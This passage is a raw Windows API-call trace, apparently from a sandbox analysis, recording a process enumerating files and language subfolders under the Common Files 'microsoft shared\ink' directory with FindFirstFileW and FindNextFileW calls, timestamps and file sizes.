nFileSizeHigh=0x0, nFileSizeLow=0x325, dwReserved0=0x0, dwReserved1=0x13a, cFileName="ja-jp-sym.xml", cAlternateFileName="")) returned 1 [0148.428] GetLastError () returned 0x12 [0148.428] FindNextFileW (in: hFindFile=0x8950f8, lpFindFileData=0x3c1e9f0 | out: lpFindFileData=0x3c1e9f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xeef, dwReserved0=0x0, dwReserved1=0x13a, cFileName="symbase.xml", cAlternateFileName="")) returned 1 [0148.428] GetLastError () returned 0x12 [0148.428] FindNextFileW (in: hFindFile=0x8950f8, lpFindFileData=0x3c1e9f0 | out: lpFindFileData=0x3c1e9f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xeef, dwReserved0=0x0, dwReserved1=0x13a, cFileName="symbase.xml", cAlternateFileName="")) returned 0 [0148.428] FindClose (in: hFindFile=0x8950f8 | out: hFindFile=0x8950f8) returned 1 [0148.428] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4540090 | out: hHeap=0x23a0000) returned 1 [0148.428] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols.xml", cAlternateFileName="")) returned 1 [0148.429] GetLastError () returned 0x12 [0148.429] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols.xml", cAlternateFileName="")) returned 0 [0148.429] FindClose (in: hFindFile=0x819470 | out: hFindFile=0x819470) returned 1 [0148.429] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4530088 | out: hHeap=0x23a0000) returned 1 [0148.429] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf9a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1 [0148.429] GetLastError () returned 0x12 [0148.430] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\*", lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf9a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x895538 [0148.431] FindNextFileW (in: hFindFile=0x895538, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf9a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.431] FindNextFileW (in: hFindFile=0x895538, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0148.431] GetLastError () returned 0x12 [0148.431] FindNextFileW (in: hFindFile=0x895538, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0148.431] FindClose (in: hFindFile=0x895538 | out: hFindFile=0x895538) returned 1 [0148.432] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4500070 | out: hHeap=0x23a0000) returned 1 [0148.432] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cfce2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0148.432] GetLastError () returned 0x12 [0148.432] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\*", lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cfce2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8951b8 [0148.432] FindNextFileW (in: hFindFile=0x8951b8, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cfce2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.432] FindNextFileW (in: hFindFile=0x8951b8, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0148.432] GetLastError () returned 0x12 [0148.432] FindNextFileW (in: hFindFile=0x8951b8, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0148.433] FindClose (in: hFindFile=0x8951b8 | out: hFindFile=0x8951b8) returned 1 [0148.433] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4500070 | out: hHeap=0x23a0000) returned 1 [0148.433] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06d0656, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0148.433] GetLastError () returned 0x12 [0148.433] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\*", lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06d0656, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x895278 [0148.433] FindNextFileW (in: hFindFile=0x895278, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06d0656, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.433] FindNextFileW (in: hFindFile=0x895278, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0148.434] GetLastError () returned 0x12 [0148.434] FindNextFileW (in: hFindFile=0x895278, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0148.434] FindClose (in: hFindFile=0x895278 | out: hFindFile=0x895278) returned 1 [0148.434] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4500070 | out: hHeap=0x23a0000) returned 1 [0148.434] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8ce781, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe382bd1f, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe382bd1f, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb620, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 1 [0148.434] GetLastError () returned 0x12 [0148.434] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6eba2ec1, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xa07693a9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6eba2ec1, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HWRCustomization", cAlternateFileName="HWRCUS~1")) returned 1 [0148.434] GetLastError () returned 0x12 [0148.434] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\HWRCustomization\\*", lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6eba2ec1, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xa07693a9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6eba2ec1, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x895138 [0148.435] FindNextFileW (in: hFindFile=0x895138, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6eba2ec1, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xa07693a9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6eba2ec1, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.435] FindNextFileW (in: hFindFile=0x895138, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6eba2ec1, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xa07693a9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6eba2ec1, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0148.435] FindClose (in: hFindFile=0x895138 | out: hFindFile=0x895138) returned 1 [0148.435] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4500070 | out: hHeap=0x23a0000) returned 1 [0148.435] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c57278, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xb269cdea, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb269cdea, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x79bc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenclm.dat", cAlternateFileName="")) returned 1 [0148.435] GetLastError () returned 0x12 [0148.435] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8ce781, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe38781cd, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe38781cd, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x10cb30, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrlatinlm.dat", cAlternateFileName="")) returned 1 [0148.435] GetLastError () returned 0x12 [0148.436] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85cc99ae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xb28b2edf, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb28b2edf, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x2662f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusalm.dat", cAlternateFileName="")) returned 1 [0148.436] GetLastError () returned 0x12 [0148.436] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85cc99ae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xb281a570, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb281a570, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x339380, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusash.dat", cAlternateFileName="")) returned 1 [0148.436] GetLastError () returned 0x12 [0148.436] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x58400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkDiv.dll", cAlternateFileName="")) returned 1 [0148.436] GetLastError () returned 0x12 [0148.436] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1ecc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll", cAlternateFileName="")) returned 1 [0148.436] GetLastError () returned 0x12 [0148.436] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe467a929, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe467a929, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x59a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe", cAlternateFileName="")) returned 1 [0148.437] GetLastError () returned 0x12 [0148.437] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x972, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsar.xml", cAlternateFileName="")) returned 1 [0148.437] GetLastError () returned 0x12 [0148.437] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa20, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscat.xml", cAlternateFileName="")) returned 1 [0148.437] GetLastError () returned 0x12 [0148.437] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x99e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipschs.xml", cAlternateFileName="")) returned 1 [0148.437] GetLastError () returned 0x12 [0148.437] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscht.xml", cAlternateFileName="")) returned 1 [0148.438] GetLastError () returned 0x12 [0148.438] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscsy.xml", cAlternateFileName="")) returned 1 [0148.438] GetLastError () returned 0x12 [0148.438] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdan.xml", cAlternateFileName="")) returned 1 [0148.438] GetLastError () returned 0x12 [0148.438] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdeu.xml", cAlternateFileName="")) returned 1 [0148.438] GetLastError () returned 0x12 [0148.438] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsel.xml", cAlternateFileName="")) returned 1 [0148.438] GetLastError () returned 0x12 [0148.439] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsen.xml", cAlternateFileName="")) returned 1 [0148.439] GetLastError () returned 0x12 [0148.439] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xbd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsesp.xml", cAlternateFileName="")) returned 1 [0148.439] GetLastError () returned 0x12 [0148.440] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d14d081, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d14d081, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll", cAlternateFileName="")) returned 1 [0148.440] GetLastError () returned 0x12 [0148.440] FindNextFileW (in: hFindFile=0x836aa0, 